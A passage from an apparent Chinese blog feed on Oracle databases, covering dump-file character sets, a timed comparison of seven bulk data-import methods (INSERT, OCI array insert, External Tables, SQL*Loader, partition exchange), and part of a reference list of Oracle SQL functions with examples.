<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: purple">用</span><span style="FONT-SIZE: 8pt; COLOR: purple">oracle</span><span style="FONT-SIZE: 8pt; COLOR: purple">的</span><span style="FONT-SIZE: 8pt; COLOR: purple">exp</span><span style="FONT-SIZE: 8pt; COLOR: purple">工具导出的</span><span style="FONT-SIZE: 8pt; COLOR: purple">dmp</span><span style="FONT-SIZE: 8pt; COLOR: purple">文件也包含了字符集信息，</span><span style="FONT-SIZE: 8pt; COLOR: purple">dmp</span><span style="FONT-SIZE: 8pt; COLOR: purple">文件的第</span><span style="FONT-SIZE: 8pt; COLOR: purple">2</span><span style="FONT-SIZE: 8pt; COLOR: purple">和第</span><span style="FONT-SIZE: 8pt; COLOR: purple">3</span><span style="FONT-SIZE: 8pt; COLOR: purple">个字节记录了</span><span style="FONT-SIZE: 8pt; COLOR: purple">dmp</span><span style="FONT-SIZE: 8pt; COLOR: purple">文件的字符集。如果</span><span style="FONT-SIZE: 8pt; COLOR: purple">dmp</span><span style="FONT-SIZE: 8pt; COLOR: purple">文件不大，比如只有几</span><span style="FONT-SIZE: 8pt; COLOR: purple">M</span><span style="FONT-SIZE: 8pt; COLOR: purple">或几十</span><span style="FONT-SIZE: 8pt; COLOR: purple">M</span><span style="FONT-SIZE: 8pt; COLOR: purple">，可以用</span><span style="FONT-SIZE: 8pt; COLOR: purple">UltraEdit</span><span style="FONT-SIZE: 8pt; COLOR: purple">打开</span><span style="FONT-SIZE: 8pt; COLOR: purple">(16</span><span style="FONT-SIZE: 8pt; COLOR: purple">进制方式</span><span style="FONT-SIZE: 8pt; COLOR: purple">)</span><span style="FONT-SIZE: 8pt; COLOR: purple">，看第</span><span style="FONT-SIZE: 8pt; COLOR: purple">2</span><span style="FONT-SIZE: 8pt; COLOR: purple">第</span><span style="FONT-SIZE: 8pt; COLOR: purple">3</span><span style="FONT-SIZE: 8pt; COLOR: purple">个字节的内容，如</span><span style="FONT-SIZE: 8pt; COLOR: purple">0354</span><span style="FONT-SIZE: 8pt; COLOR: purple">，然后用以下</span><span style="FONT-SIZE: 8pt; COLOR: purple">SQL</span><span style="FONT-SIZE: 8pt; COLOR: purple">查出它对应的字符集</span><span style="FONT-SIZE: 8pt; COLOR: purple">:</span></div>
<div style="LINE-HEIGHT: 12pt"><strong><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue">select</span></strong><span style="FONT-SIZE: 8pt; BACKGROUND: #d9d9d9; COLOR: blue"> nls_charset_name(to_number('0354','xxxx')) <strong>from</strong> dual</span></div>
<div style="LINE-HEIGHT: 12pt"></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: red">--</span><span style="FONT-SIZE: 8pt; COLOR: red">查看</span><span style="FONT-SIZE: 8pt; COLOR: red">oracel </span><span style="FONT-SIZE: 8pt; COLOR: red">client</span><span style="FONT-SIZE: 8pt; COLOR: red">端</span><span style="FONT-SIZE: 8pt; COLOR: red">的</span><span style="FONT-SIZE: 8pt; COLOR: red">字符集</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: purple">　　是注册表里面相应</span><span style="FONT-SIZE: 8pt; COLOR: purple">OracleHome</span><span style="FONT-SIZE: 8pt; COLOR: purple">的</span><span style="FONT-SIZE: 8pt; COLOR: purple">NLS_LANG</span><span style="FONT-SIZE: 8pt; COLOR: purple">。还可以在</span><span style="FONT-SIZE: 8pt; COLOR: purple">dos</span><span style="FONT-SIZE: 8pt; COLOR: purple">窗口里面自己设置，比如</span><span style="FONT-SIZE: 8pt; COLOR: purple">:</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: purple">　　</span><span style="FONT-SIZE: 8pt; COLOR: purple">set nls_lang=AMERICAN_AMERICA.ZHS16GBK</span></div>
<div style="LINE-HEIGHT: 12pt"><span style="FONT-SIZE: 8pt; COLOR: purple">　　这样就只影响这个窗口里面的环境变量</span></div>
</div>
</div>
<img src ="http://www.blogjava.net/19851985lili/aggbug/110344.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-04-13 09:06 <a href="http://www.blogjava.net/19851985lili/articles/110344.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Oracle 数据导入方法比较</title><link>http://www.blogjava.net/19851985lili/articles/110340.html</link><dc:creator>☜♥☞MengChuChen</dc:creator><author>☜♥☞MengChuChen</author><pubDate>Fri, 13 Apr 2007 01:02:00 GMT</pubDate><guid>http://www.blogjava.net/19851985lili/articles/110340.html</guid><wfw:comment>http://www.blogjava.net/19851985lili/comments/110340.html</wfw:comment><comments>http://www.blogjava.net/19851985lili/articles/110340.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/19851985lili/comments/commentRss/110340.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/19851985lili/services/trackbacks/110340.html</trackback:ping><description><![CDATA[<font face=SimSun>每个数据库管理员都会面临数据导入的问题，这有可能发生在数据库的新老移植过程中，或者是在数据库崩溃后的恢复重建过程中，还有可能是在创建测试数据库的模拟环境过程中，总之作为一名合格的数据库管理员，你应该做好接受各种数据导入请求的技术储备，同时还要尽量满足人本能的对导入速度的苛求。本文仅针对 Oracle 数据库所提供的加速数据导入的各种特性和技术进行探讨，其中的一些方法也可以转化应用于其他数据库。以下七种数据导入方法哪个最适用需要针对具体情况具体分析，我也附带列举了影响导入速度的各种因素供斟酌。为了比较各种数据导入方法的效果，我创建了示例表和数据集，并用各种方法导入示例数据集来计算总体导入时间和导入进程占用 CPU 时间，这里得出的时间仅供参考。需要说明的是，建议你使用 Oracle 9i 企业版数据库，当然你也可以尝试使用 Oracle 7.3 以上的标准版数据库。本文使用的机器配置为：CPU Intel P4，内存 256M，数据库 Oracle 9i 企业版</font>
<p><font face=SimSun>&nbsp;&nbsp;&nbsp;&nbsp; 示例表结构和数据集<br>为了演示和比较各种数据导入方法，我假定数据导入任务是将外部文件数据导入到 Oracle 数据库的CALLS表中，外部数据文件包含十万条呼叫中心记录，将近 6MB 的文件大小，具体的数据示例如下:</font></p>
<p><font face=宋体>82302284384,2003-04-18:13:18:58,5001,投诉,手机三包维修质量82302284385,2003-04-18:13:18:59,3352,咨询,供水热线的号码82302284386,2003-04-18:13:19:01,3142,建议,增设公交线路 <br>接受导入数据的表名是 CALLS，表结构如下：</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Null?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Comment&nbsp;&nbsp;&nbsp;&nbsp; ------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ---------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -------------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -----------------&nbsp;&nbsp;&nbsp;&nbsp; CALL_ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NOT NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NUMBER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Primary key&nbsp;&nbsp;&nbsp;&nbsp; CALL_DATE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NOT NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DATE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Non-unique index&nbsp;&nbsp;&nbsp;&nbsp; EMP_ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NOT NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NUMBER&nbsp;&nbsp;&nbsp;&nbsp; CALL_TYPE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NOT NULL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VARCHAR2(12)&nbsp;&nbsp;&nbsp;&nbsp; DETAILS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VARCHAR2(25)<br></font></p>
<p><font face=宋体><strong><font color=#0000ff>逐条数据插入INSERT<br></font></strong>&nbsp;&nbsp;&nbsp;&nbsp; 数据导入的最简单方法就是编写 INSERT 语句，将数据逐条插入数据库。这种方法只适合导入少量数据，如 SQL*Plus 脚本创建某个表的种子数据。该方法的最大缺点就是导入速度缓慢，占用了大量的 CPU 处理时间，不适合大批量数据的导入；而其主要优点就是导入构思简单又有修改完善的弹性，不需要多做其它的准备就可以使用。如果你有很多时间没法打发，又想折磨一下数据库和 CPU，那这种方法正适合你。:)<br>&nbsp;&nbsp;&nbsp;&nbsp; 为了与其它方法做比较，现将十万条记录通过此方法导入到 CALLS 表中，总共消耗 172 秒，其中导入进程占用 CPU 时间为 52 秒。</font></p>
<p><font face=宋体><strong><font color=#0000ff>逐条数据插入 INSERT，表暂无索引<br></font></strong>&nbsp;&nbsp;&nbsp;&nbsp; 为什么上一种方法占用了较多的 CPU 处理时间，关键是 CALLS 表中已创建了索引，当一条数据插入到表中时，Oracle 需要判别新数据与老数据在索引方面是否有冲突，同时要更新表中的所有索引，重复更新索引会消耗一定的时间。因此提高导入速度的好办法就是在创建表时先不创建索引或者在导入数据之前删除所有索引，在外部文件数据逐条插入到表中后再统一创建表的索引。这样导入速度会提高，同时创建的索引也很紧凑而有效，这一原则同样适用于位图索引（Bitmap Index）。对于主要的和唯一的关键约束(key constraints)，可以使之先暂时失效(disabling)或者删除约束来获得同样的效果，当然这些做法会对已经存在的表的外键约束产生相关的影响，在删除前需要通盘斟酌。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>需要说明的是，这种方法在表中已存在很多数据的情况下不太合适。例如表中已有九千万条数据，而此时需要追加插入一千万条数据，实际导入数据节省的时间将会被重新创建一亿条数据的索引所消耗殆尽，这是我们不希望得到的结果。但是，如果要导入数据的表是空的或导入的数据量比已有的数据量要大得多，那么导入数据节省的时间将会少量用于重新创建索引，这时该方法才可以考虑使用。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>加快索引创建是另一个需要考虑的问题。为了减少索引创建中排序的工作时间，可以在当前会话中增加 SORT_AREA_SIZE 参数的大小，该参数允许当前会话在内存的索引创建过程中执行更多的排序操作。同样还可以使用 NOLOGGING 关键字来减少因创建索引而生成的 REDO 日志量，NOLOGGING 关键字会对数据库的恢复和 Standby 备用数据库产生明显的影响，所以在使用之前要仔细斟酌，到底是速度优先还是稳定优先。<br></font><font face=宋体>运用这种方法，先删除 CALLS 表的主键和不唯一的索引，然后逐条导入数据，完成后重新创建索引( 表在导入数据前是空的)。该方法总共消耗 130 秒，包括重建索引的时间，其中导入进程占用 CPU 时间为 35秒。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>这种方法的优点是可以加快导入的速度并使索引更加紧凑有效；缺点是缺乏通用性，当你对表增加新的复杂的模式元素（索引、外键等）时你需要添加代码、修改导入执行程序。另外针对 7*24 在线要求的数据库在线导入操作时，删除表的索引会对在线用户的查询有很大的性能影响，同时也要考虑，主要或唯一的关键约束条件的删除或失效可能会影响到引用它们的外键的使用。</font></p>
<p><font face=宋体><strong><font color=#0000ff>批量插入，表暂无索引</font></strong><br>&nbsp;&nbsp;&nbsp;&nbsp; 在Oracle V6 中 OCI 编程接口加入了数组接口特性。数组操作允许导入程序读取外部文件数据并解析后，向数据库提交SQL语句，批量插入 SQL 语句检索出的数据。Oracle 仅需要执行一次 SQL 语句，然后在内存中批量解析提供的数据。批量导入操作比逐行插入重复操作更有效率，这是因为只需一次解析 SQL 语句，一些数据绑订操作以及程序与数据库之间来回的操作都显著减少，而且数据库对每一条数据的操作都是重复可知的，这给数据库提供了优化执行的可能。其优点是数据导入的总体时间明显减少，特别是进程占用 CPU 的时间。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>需要提醒的是，通过 OCI 接口确实可以执行数据批量导入操作，但是许多工具和脚本语言却不支持使用此功能。如果要使用该方法，需要研究你所使用的开发工具是否支持 OCI 批量操作功能。导入程序需要进行复杂的编码并可能存在错误的风险，缺乏一定的弹性。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>运用上述方法，程序将外部数据提取到内存中的数组里，并执行批量插入操作（100行/次），保留了表的删除/重建索引操作，总的导入时间下降到 14 秒，而进程占用 CPU 的时间下降到7秒，可见实际导入数据所花费的时间显著下降了 95%。</font></p>
<p><font face=宋体><strong><font color=#0000ff>CREATE TABLE AS SELECT，使用Oracle9i的External Table</font></strong> <br>&nbsp;&nbsp;&nbsp;&nbsp; Oracle 9i 的一项新特性就是 External Table，它就象通常的数据库表一样，拥有字段和数据类型约束，并且可以查询，但是表中的数据却不存储在数据库中，而是在与数据库相关联的普通外部文件里。当你查询 External Table 时，Oracle 将解析该文件并返回符合条件的数据，就象该数据存储在数据库表中一样。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>需要注意的是，你可以在查询语句中将 External Table 与数据库中其他表进行连接（Join），但是不能给 External Table 加上索引，并且不能插入/更新/删除数据，毕竟它不是真正的数据库表。另外，如果与数据库相关联的外部文件被改变或者被删除，这会影响到 External Table 返回查询结果，所以在变动前要先跟数据库打招呼。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>这种方法为导入数据打开了新的一扇门。你可以很容易的将外部文件与数据库相关联，并且在数据库中创建对应的 External Table，然后就可以立即查询数据，就象外部数据已经导入到数据库表中一样。唯一的不足需要明确，数据并未真正导入到数据库中，当外部文件被删除或覆盖时，数据库将不能访问 External Table 里的数据，而且索引没有被创建，访问数据速度将有所缓慢。创建 CALLS_EXTERNAL（External Table表）如下，使之与外部数据文件关联：<br>&nbsp;&nbsp;</font><font face=宋体>CREATE TABLE calls_external (call_id NUMBER, call_date DATE, emp_id NUMBER, call_type VARCHAR2(12), details VARCHAR2(25)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY extract_files_dir ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL (call_id, call_date CHAR DATE_FORMAT DATE MASK "yyy-mm-dd:hh24:mi:ss", emp_id, call_type, details ) ) LOCATION ('calls.dat')&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );&nbsp;&nbsp;<br>然后将 External Table 与真正被使用的表 CALLS 关联同步，删除 CALLS 表并重建它：</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp; CREATE TABLE calls&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call_id&nbsp;&nbsp;&nbsp;&nbsp; NUMBER&nbsp;&nbsp; NOT NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call_date&nbsp;&nbsp; DATE&nbsp;&nbsp;&nbsp; NOT NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; emp_id&nbsp;&nbsp;&nbsp;&nbsp; NUMBER&nbsp;&nbsp; NOT NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call_type&nbsp;&nbsp; VARCHAR2(12) NOT NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; details&nbsp;&nbsp; VARCHAR2(25)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TABLESPACE tbs1 NOLOGGING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SELECT call_id, call_date, emp_id, call_type, details&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FROM&nbsp;&nbsp;&nbsp; calls_external;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp; 因为 CALLS 表是真正的数据库表，可以创建索引来加快访问，表中的数据将被保留，即使外部数据文件被更新或被删除。在建表语句中NOLOGGING关键字用于加快索引重建。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>运用这种方法导入数据，总的导入时间为 15 秒，进程占用 CPU 的时间为8秒，这比前一种方法稍微慢些，但不能就此认为使用 External Table 导入数据一定比 OCI 批量插入慢。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>这种方法的优点是，未经进行大量的编写代码就取得了不错的结果，不象 OCI 批量插入存在编码错误风险，它还可以使用 dbms_job 包调度数据导入进程，实现数据导入的自动化。其缺点是目标表必须先删除后重建，如果只需要导入增量数据时此方法就不合适了，另外用户在表的重建过程中访问数据时会遇到 "table or view does not exist" 的错误，它仅适用于 Oracle 9i 以上版本的数据库。</font></p>
<p><font face=宋体><strong><font color=#0000ff>INSERT Append as SELECT，使用 Oracle9i 的 External Table</font></strong><br>&nbsp;&nbsp;&nbsp;&nbsp; 上一种方法演示了如何创建与外部数据文件关联的数据库表，其表的数据是由外部数据文件映射过来。缺点是数据库表需要被先删除再重建来保持与外部数据文件的一致和同步，对导入增量的数据而不需要删除已有数据的情况不合适。针对这种需求，Oracle 提供了 INSERT 语句外带 APPEND 提示来满足。<br></font><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp; INSERT&nbsp;&nbsp;&nbsp;&nbsp; /*+ APPEND */ INTO calls&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (call_id, call_date, emp_id, call_type, details)&nbsp;&nbsp;&nbsp; SELECT call_id, call_date, emp_id, call_type, details&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FROM calls_external;<br>该语句读取引用外部数据文件的 CALLS_EXTERNAL 表中内容，并将之增加到表 CALLS 中。Append 提示告诉 Oracle 使用快速机制来插入数据，同时可以配合使用表的 NOLOGGING 关键字。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>可以预见这种方法与前一方法消耗了相同的时间，毕竟它们是使用 External Table 特性导入数据的不同阶段解决方法。如果目标表不是空的，那将会消耗稍微长的时间（因为要重建更长的索引），而前一 CREATE TABLE as SELECT 方法是整体创建索引。</font></p>
<p><font face=宋体><strong><font color=#0000ff>SQL*Loader的强大功能<br></font></strong>&nbsp;&nbsp;&nbsp;&nbsp; SQL*Loader 是 Oracle 提供的导入实用程序，特别针对从外部文件导入大批量数据进入数据库表。该工具已经有多年的历史，每一次版本升级都使其更加强大、灵活和快捷，但遗憾的是它的语法却是神秘而不直观，并且只能从命令行窗口处进行调用。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>尽管它有不直观的缺点，但却是最快最有效的导入数据方法。缺省情况下它使用 "conventional path" 常规选项来批量导入数据，其性能提高度并不明显。我建议使用更快速的导入参数选项，在命令行添加"direct=true" 选项调用 "direct path" 导入选项。在 "direct path" 导入实现中，程序在数据库表的新数据块的 high water mark 处直接写入导入数据，缩短了数据插入的处理时间，同时优化使用了非常有效的B+二叉树方法来更新表的索引。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>运用这种方法，如果使用缺省的 conventional path 导入选项，总的导入时间是 81 秒，进程占用 CPU 时间大约是 12 秒，这包括了更新表的索引时间。如果使用 direct path 导入选项，总的导入时间竟是 9 秒，进程占用 CPU 时间也仅仅是 3 秒，也包括了更新表的索引时间。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>由此可见，尽管表中的索引在数据导入之前并没有被删除，使用SQL*Loader的direct path 导入选项仍然是快速和有效的。当然它也有缺点，就像NOLOGGING关键字一样该方法不生成REDO日志数据，导入进程出错后将无法恢复到先前状态；在数据导入过程中表的索引是不起作用的，用户此时访问该表时将出现迟缓，当然在数据导入的过程中最好不要让用户访问表。</font></p>
<p><font face=宋体><strong><font color=#0000ff>分区交换 (Partition Exchange)</font></strong><br>&nbsp;&nbsp;&nbsp;&nbsp; 以上讨论的数据导入方法都有一个限制，就是要求用户在导入数据完成之后才可以访问数据库表。面对7&#215;24不间断访问数据库来说，如果我们只是导入需要增加的数据时，这种限制将对用户的实时访问产生影响。Oracle在这方面提供了表分区功能，它可以减少导入数据操作对用户实时访问数据的影响，操作模式就象使用可热插拔的硬盘一样，只不过这里的硬盘换成了分区（Partition）而已。需要声明的是 Partitioning 分区功能只有在企业版数据库中才提供。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>在一个被分区过的表中，呈现给用户的表是多个分区段（segments）的集合。分区可以在需要时被添加，在维护时被卸载或删除，分区表可以和数据库中的表交换数据，只要它们的表结构和字段类型是一致的，交换后的分区表将拥有与之互动的表的数据。需要注意的是，这种交换只是在Oracle数据库的数据字典层面上进行，并没有数据被实际移动，所以分区表交换是极其快速的。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>为了创建实验环境，先假设CALLS表是个分区表，要创建一个空的分区PART_01012004，用来保存2004年1月1日的呼叫数据。然后需要再创建一临时表为CALLS_TEMP，该表与CALLS表拥有相同的字段和数据类型。<br>&nbsp;&nbsp;&nbsp;&nbsp;</font><font face=宋体>我们使用先前介绍的导入方法将十万条数据导入到CALLS_TEMP表中，可以耐心等待数据完全导入到CALLS_TEMP表中，并且创建好索引和相关约束条件，所有这一切操作并不影响用户实时访问CALLS表，因为我们只对CALLS_TEMP临时表进行了操作。一旦数据导入完成，CALLS_TEMP表就存有2004年1月1日的呼叫数据。同时利用CALLS表中名为PART_01012004的空分区，使用如下语句执行分区交换： <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ALTER&nbsp;&nbsp; TABLE&nbsp;&nbsp; calls&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXCHANGE&nbsp;&nbsp; PARTITION&nbsp;&nbsp; part_01012004 WITH&nbsp;&nbsp; TABLE calls_temp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; INCLUDING&nbsp;&nbsp; INDEXES&nbsp;&nbsp; WITHOUT&nbsp;&nbsp; VALIDATION;<br>&nbsp;&nbsp;&nbsp;&nbsp; 分区交换操作将非常快速地只更新CALLS表的数据字典，PART_01012004分区表即刻拥有CALLS_TEMP表的所有数据，而CALLS_TEMP表变为空表。假定CALLS表使用局部索引而非全局索引，上述语句中的INCLUDING INDEXES将保证分区交换包括索引的可用性，WITHOUT VALIDATION 指明不检查交替表中数据的匹配，加快了交换的速度。</font></p>
<p><font face=宋体><font color=#0000ff><strong>结论</strong></font><br>&nbsp;&nbsp;&nbsp;&nbsp; 以上探讨了Oracle数据库的多种数据导入方法，每种方法都有其优缺点和适用环境，能够满足你不同的导入需求，当然你需要在了解了这些方法后，在速度、简易性、灵活性、可恢复性和数据可用性之间寻求最佳导入方案。</font></p>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp; 为了对比各种方法的效果，我们创建了一个实例来展示各种方法的导入效率和效果，从中你可以选择最适合的方法用于今后的数据导入工作。同时请记住，本文并未囊括所有的ORACLE数据导入技术（比如并行数据导入技术），这需要我们继续不懈的探索和尝试。 </font></p>
<p><font face=宋体>数据导入方法 总体导入时间(秒) 导入进程占用CPU时间(秒) <br>逐条数据插入INSERT 172&nbsp;&nbsp; 52 <br>逐条数据插入INSERT，表暂无索引 130&nbsp;&nbsp; 35 <br>批量插入，表暂无索引&nbsp;&nbsp; 14&nbsp;&nbsp; 7 <br>Create As Select，使用Oracle9i的External Table 15 8 <br>INSERT Append as SELECT，使用Oracle9i的External Table&nbsp;&nbsp; 15 8 <br>SQL*Loader conventional path 缺省导入选项 81&nbsp;&nbsp; 12 <br>SQL*Loader direct path 导入选项&nbsp;&nbsp; 9&nbsp;&nbsp; 3 <br>
<table style="TABLE-LAYOUT: fixed">
    <tbody>
        <tr>
            <td>
            <div class=cnt>
            <p>数值函数： <br>abs(m) m的绝对值 <br>mod(m,n) m被n除后的余数 <br>power(m,n) m的n次方 <br>round(m[,n]) m四舍五入至小数点后n位的值（n缺省为0） <br>trunc(m[,n]) m截断n位小数位的值（n缺省为0） </p>
            <p><br>字符函数： <br>initcap(st) 返回st将每个单词的首字母大写，所有其他字母小写 <br>lower(st) 返回st将每个单词的字母全部小写 <br>upper(st) 返回st将每个单词的字母全部大写 <br>concat(st1,st2) 返回st为st2接st1的末尾（可用操作符"||"） <br>lpad(st1,n[,st2]) 返回右对齐的st,st为在st1的左边用st2填充直至长度为n,st2的缺省为空格 <br>rpad(st1,n[,st2]) 返回左对齐的st,st为在st1的右边用st2填充直至长度为n,st2的缺省为空格 <br>ltrim(st[,set]) 返回st,st为从左边删除set中字符直到第一个不是set中的字符。缺省时，指的是空格 <br>rtrim(st[,set]) 返回st,st为从右边删除set中字符直到第一个不是set中的字符。缺省时，指的是空格 <br>replace(st,search_st[,replace_st]) 将每次在st中出现的search_st用replace_st替换，返回一个st。缺省时，删除search_st <br>substr(st,m[,n]) n=返回st串的子串，从m位置开始，取n个字符长。缺省时，一直返回到st末端 <br>length(st) 数值，返回st中的字符数 <br>instr(st1,st2[,m[,n]]) 数值，返回st1从第m字符开始，st2第n次出现的位置，m及n的缺省值为1 <br>例： <br>1. <br>select initcap('THOMAS'),initcap('thomas') from test; <br>initca initca <br>------ ------ <br>Thomas Thomas <br>2. <br>select concat('abc','def') "first" from test; <br>first <br>----- <br>abcdef <br>3. <br>select 'abc'||' '||'def' "first" from test; <br>first <br>----- <br>abc def <br>4. <br>select lpad(name,10),rpad(name,5,'*') from test; <br>lpad(name,10) rpad(name,5,'*') <br>------------ ---------------- <br>mmx mmx** <br>abcdef abcde <br>5. <br>去掉地址字段末端的点及单词st和rd <br>select rtrim(address,'. st rd') from test <br>6. <br>select name,replace(name,'a','*') from test; <br>name replace(name,'a','*') <br>---- --------------------- <br>great gre*t <br>7. <br>select substr('archibald bearisol',6,9) a,substr('archibald bearisol',11) b from test; <br>a b <br>------- ------- <br>bald bear bearisol <br>8. <br>select name,instr(name,' ') a,instr(name,' ',1,2) b from test; <br>name a b <br>------- -------- --------- <br>li lei 3 0 <br>l i l 2 4 </p>
            <p>转换函数： <br>nvl(m,n) 如果m值为null,返回n,否则返回m <br>to_char(m[,fmt]) m从一个数值转换为指定格式的字符串fmt缺省时，fmt值的宽度正好能容纳所有的有效数字 <br>to_number(st[,fmt]) st从字符型数据转换成按指定格式的数值，缺省时数值格式串的大小正好为整个数 <br>附： <br>to_char()函数的格式： <br>--------------------------------- <br>符号 说明 <br>--------------------------------- <br>9 每个9代表结果中的一位数字 <br>0 代表要显示的先导0 <br>$ 美元符号打印在数的左边 <br>L 任意的当地货币符号 <br>. 打印十进制的小数点 <br>, 打印代表千分位的逗号 <br>--------------------------------- <br>例： <br>1. <br>select to_number('123.45')+to_number('234.56') form test; <br>to_number('123.45')+to_number('234.56') <br>---------------------------------------- <br>358.01 <br>2. <br>select to_char(987654321) from test; <br>to_char(987654321) <br>------------------ <br>987654321 <br>3. <br>select to_char(123,'$9,999,999') a,to_char(54321,'$9,999,999') b,to_char(9874321,'$9,999,999') c from test; <br>a b c <br>------- ---------- ----------- <br>$123 $54,321 $9,874,321 <br>4. <br>select to_char(1234.1234,'999,999.999') a,to_char(0.4567,'999,999.999') b,to_char(1.1,'999,999.999') from test; <br>a b c <br>--------- ---------- ------------ <br>1,234.123 .457 1.100 </p>
            <p><br>分组函数： <br>avg([distinct/all] n) 列n的平均值 <br>count([all] *) 返回查询范围内的行数包括重复值和空值 <br>count([distinct/all] n) 非空值的行数 <br>max([distinct/all] n) 该列或表达式的最大值 <br>min([distinct/all] n) 该列或表达式的最小值 <br>stdev([distinct/all] n) 该列或表达式的标准偏差，忽略空值 <br>sum([distinct/all] n) 该列或表达式的总和 <br>variance([distinct/all] n) 该列或表达式的方差，忽略空值 </p>
